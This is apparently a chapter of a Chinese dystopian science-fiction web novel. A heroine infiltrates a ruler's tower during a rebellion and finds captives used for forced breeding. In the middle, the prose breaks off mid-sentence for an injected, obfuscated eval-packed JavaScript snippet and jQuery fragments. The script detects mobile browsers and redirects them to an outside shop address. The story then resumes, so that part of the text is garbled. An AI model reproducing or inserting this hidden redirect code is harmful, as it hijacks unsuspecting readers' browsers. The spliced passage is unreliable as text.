街道上空荡荡的，宋峤找到监控死角。


    四处过于安静，与港口处形成了鲜明的对比。


    对照副脑上的地图，宋峤确认了自己的位置，随即开始导航。步行需要约半星时，她直奔目的地而去。


    天际隐约有浓黑色的烟雾升腾。


    那是离她最近的一处爆炸地。宋峤瞥了两眼，估算了下距离，出事的地方基本在闹市区，人流量大。


    内环区藏着秘密，大抵不容易进来，上次她借着看房的名义过来，一路上就没见着几个活人。


    她挑选的是摄像头最少的路，脚下走得飞快，行至一半，一个人也没遇上。


    还剩下约一公里，她埋头赶路。


    拐角处一人走出来，与宋峤撞个正着。


    是个机械人。


    它张大嘴，脸上写满疑惑。


    宋峤松了口气，比遇到人好。她装作没看见，埋头就走。


    后方，机械人站在原地，怔愣后走到小区楼下准备报告——按下几处按键，它突然一动不动，双眼亮起，蓝色的数据条在双眸处浮现。


    五星分后，它站在原地，重新按下按键汇报。


    这时宋峤已经赶到中心处，联排别墅围成一圈，合力挡住中央富丽堂皇的建筑。她抬起头只能望见金碧辉煌的建筑穹顶。


    定了定神，她选定最近的门，迈步进入。


    .......


    城邦安全总局。


    顶楼的办公室里，一遍遍地响起内线通讯申请，无人接听。


    下方几层的办公区里，蓝领们个个焦头烂额。


    来自属星安全局的急讯一条接一条，内容大抵相同——安全局已经再次镇压闹事的民众，比起之前不成体统的小打小闹，这次他们面对的是成体系的、有预谋的袭击，并且他们打着“反叛军”的旗号。


    一夕之间，不知从哪里钻出来的，衣着破旧，个个举着武器，上来就朝安全局的护卫队动手。


    镇住护卫队后，这群人向在场的兽人们伸出橄榄枝，邀请他们一起加入队伍里反叛。


    同样的场景不断地在各个属星复现。


    反叛军的数量远比他们预料到的庞大。


    此前，安全局按照总局下达的指令行事，已经处理掉两批民众，洒水车驶过的街道，湿气弥漫，腥气经久不散。


    新出现的反叛群体来势汹汹，炮火压制下仍旧前仆后继。


    挡在“手无寸铁”的兽人面前，不断地倒下，不断地补上新的。


    悍不畏死。


    更多的兽人当场主动进入完全兽化状态，站在一边，共同抵抗护卫队。


    安全局也为之动容。


    总局收到一份又一份的急讯，询问如何处置。


    能做主的人不在，没人敢私下担责。


    更重要的是，星网上竟出现了新词条，将不同属星上发生的事情进行记录。越来越多的人出现，也许是一张图片，也许是晃动的一段视频，自发加入的人越来越多，点击量、阅读量坐火箭似的窜得飞快。


    城邦安全总局宣传部的负责人大吼着“删除，删除，把相关词条全部删除”，几个老手键盘敲出残影，代码串跑得飞快，黑程序植入后台，一通操作后，帖子少了数十页。


    下一刻，所有被删除的内容再度出现，且成倍增长。


    “删不了啊？！”


    下属苦着脸向上司求饶，这鬼场面她也没见过，眼前屏幕上跳出乱七八糟的代码，她完全不能控制了。上司脸色铁青，咒骂着不能干就滚，直到自己面前的显示器、曲面大屏上出现同样的画面，她屁滚尿流地向安全部求救，询问图灵什么时候升级好。


    安全部的数十号人连番抢救，他们压根没预测到会出现这样的情况。数年来，他们一直致力于复刻图灵，企图将图灵的运行代码完全破解，打造出更加成功的二代。再加上他们领会到执政官让图灵下线的意图，属星的权限同步给二代后，他们便直接将图灵的权限解除了。


    结果，二代完全无法处理这样的场景，别说多线程了，单单一颗属星ID的发言它都解决不了。


    乱了，全乱了。


    线上，他们把控不了舆论。以往常用的禁言封号等手段完全不顶用，只能眼睁睁地目睹热度越来越高。“反叛”、“反叛军”等等词条出现的频率越来越高，事态已经无法控制。


    线下，属星安全局被迫停下了屠杀的手。此前他们奉命行事，相关的画面被人拍下来，直接丢在星网上，□□高清，引发了众怒。无数的人发出了质问、谩骂、斥责。安全局无法再继续下去，事态发展已经超出了他们的想象。若是再继续，后续中央星一定会追责。


    聪明的人连忙让同事往城邦安全总局丢文件请示，等待，一根筋的人仍继续屠杀，血流成河。


    所有的人都知道，这次的事难以善了了。中央星再不给出令人信服的处置，民心只会愈推愈远。基因药剂、变异生物、异能等等，细小的麦芒堆积，会化作血肉里深切的刺。


    城邦安全总局。


    在岗的打工人板着脸听天由命，上面不给指示，他们也决定不了。别说属星，光中央星的事他们都忙不过来。一边排查出问题的机械人，几处爆炸又将他们搅弄得头大。


    城邦安全总局的员工本就不多，平时琐碎重复的事务完全交给机械人，现在总局派出去不少人手，剩下的一个当三个用。陀螺一样地转，也解决不了困境。属星的灾难已经难以打动他们，他们自己都岌岌可危了，等后面执政官算账，他们都会被扫地出门。


    有人恨恨地咒骂，“早不升级晚不升级，好好地不行非要搞事。”


    “就没有能够管事的人了吗？”


    “我记得，咱们总局里有个老牌员工，什么特别行动部部长的，还有新进来的特聘顾问呢？！”


    “说起来，好像确实没瞧见她们俩了。”


    “行动部别提了，本就是挂名，另一个前两天不是出镜发言的么，叫宋峤来着的。”


    .......


    宋峤一路畅通无阻。


    才跑了三层，她气喘吁吁。直达电梯张着血盆大口，她没敢进去。


    被关在里面就麻烦了。


    这座大楼远比她想得大，她照着地图狂奔，才将要抵达四层。错层楼梯的设计带给了她不少麻烦，她几乎将二层、三层跑了个遍。


    随着她的跑动，廊灯一颗颗亮起，点亮了死寂的楼。


    一圈，又一圈。


    宋峤站在七层，扶着墙喘息，不经意地一瞥，愣住了。


    大楼的中间，是中空的，每一层的地板做的是透明玻璃设计，这个区域摆放着无数的绿色植物，生机勃勃，美轮美奂的室内庭院，瞧着是供给每层住户休憩的场所。刚进入大楼时她便发现了，也没放在心上。


    仰头，靠近顶端的上层，绿色掩映的深处，是个平台，那里正是她要去的地方。


    一切都没有问题，除了.......


    除了她往下方俯视。


    绿色的硕叶间，钻出了一颗一颗的脑袋，四肢撑在地上，仰头往她的方向望来。


    是人，好多人。


    年龄在四-十四岁的模样，男女均有，通通在地上爬行。身上套着简单的绿色宽松罩衫，上面是各式各样的植物——躲在每层的庭院里，怪不得她没发现。


    个个瞪大眼睛，目光澄澈，好奇地望着她，宋峤心底阵阵发寒，他们看上去，与动物无异。


    在一楼的时候，她生怕会被发现，根本就没观察，到了二层，发现楼梯在另一处后，赶忙找楼梯也


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128997|179584||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    没注意。


    现在在高处，她看得分明，从二层开始，中间的“庭院”里藏着数个这样爬行的人。


    咕咚，宋峤咽下口唾沫。


    无数双眼睛盯着她，没有人说话，这样的场景足够瘆人。


    她以为，中央星的核心处都是安静的，因为乔利亚为了掩盖秘密，但实际上，这份“安静”更加恐怖。


    宋峤艰难地移动目光，落在一旁离她最近的房门上。


    心里有股声音指引着她，靠近那扇门。


    咔嚓——，推开屋门。


    里面并排摆着三个单人床，上面捆缚着“人”，身上套着的是宽松的绿叶罩衫，硕大的胸腔，硕大的腹腔，高高突起......两侧摆满了仪器，记录着“育体”的各项数据，靠墙的一面摆满了“育儿箱”，有的是空的，有的里面存放着一团皱巴巴的胚胎。


    哪怕有过心理准备，宋峤此刻还是捂住胸口，忍不住地干呕。


    比起上次偶然撞见的场景，眼前的一切更加令人作呕。


    执政官在圈禁的一等公民里选择合适的育体，将他们压榨到极致，尽可能诞下足够多的幼崽，安置在“育儿箱”里，交给机械人照顾。长大一定程度，这些幼崽被转移到最深处的环形囚笼里，离开“育儿箱”，仅仅是离开“育儿箱”，与外界隔离，成长。


    接着，再度成为新的“育体”，循环。


    中央星的外环，居民们还算正常，生活平静，他们温和地笑，不需要面临任何风雨，中环，介于正常人与伪人之间的范畴，最核心的位置，完全沦为非人化的生物。是怎么做到的？是如何做到的？


    宋峤踉跄，退后一步。


    垂眼，掩住眼底的情绪，她加快脚步。


    十三层。


    双脚跟灌了铅似的，沉重累赘，她一步步地走。


    副脑上不住地跳出弹窗。


    扫了眼，周箬发来了一串消息，他们发现了。


    宋峤收回视线，继续往上走，顶着左手边庭院里的数道目光，她目不斜视。


    就快到了。


    .......


    穹顶之上。


    蓝色的投影正在黄金鸟笼前踱步，笔直的笼杆上缠绕着绿色的植株，上面洒了不少血迹，显得愈发青翠。


    陶文慈躺在里面，身上伤痕累累。这是一处宽敞的厅，她朝左侧望去，那里有扇巨大的门，可惜，她没能走进去。


    约一星日前，她与宋峤告别后孤身一人前往此处，根据多年来的查访，她确认，执政官一定藏在这里。比起他做的那些事，她还想知道执政官从未在人前露面的原因。


    或许，这能够帮到她们。


    所以，她还是来了。


    她没有交出执政官想要的东西，被关在了这里。


    她一点都不后悔，她只要再拖一段时间就好了。只要外面闹得足够大，总归是有意义的。


    “我倒是小瞧了你。你有帮手，她们在外面正小打小闹。”执政官语气平静，像是在旁观闹事的稚儿一样，充满着“博爱”之情。


    陶文慈固执地望着那扇门，不语。她被困在并不清楚外面发生了什么。如果说是她的人在起事，那就只是小打小闹了，毕竟从那时候活下来的人没多少，还愿意冒着巨大的风险回到中央星，并在这里潜伏下去的，就更少了。


    也许执政官是在套她的话，她什么都不会说的。


    “让我看看是谁？”蓝色投影在空中挥了挥，屏幕在他面前展现，执政官定睛一看，笑出了声，道，“嗯，是个有能耐的，怪不得你一直在隐藏她的行踪。”


    “宋峤，她就在这座楼里，马上就会来陪你了。”


    陶文慈的眸光微闪，呼吸急促了几分，她咬住口腔内的软肉，逼迫自己不要相信，不要询问。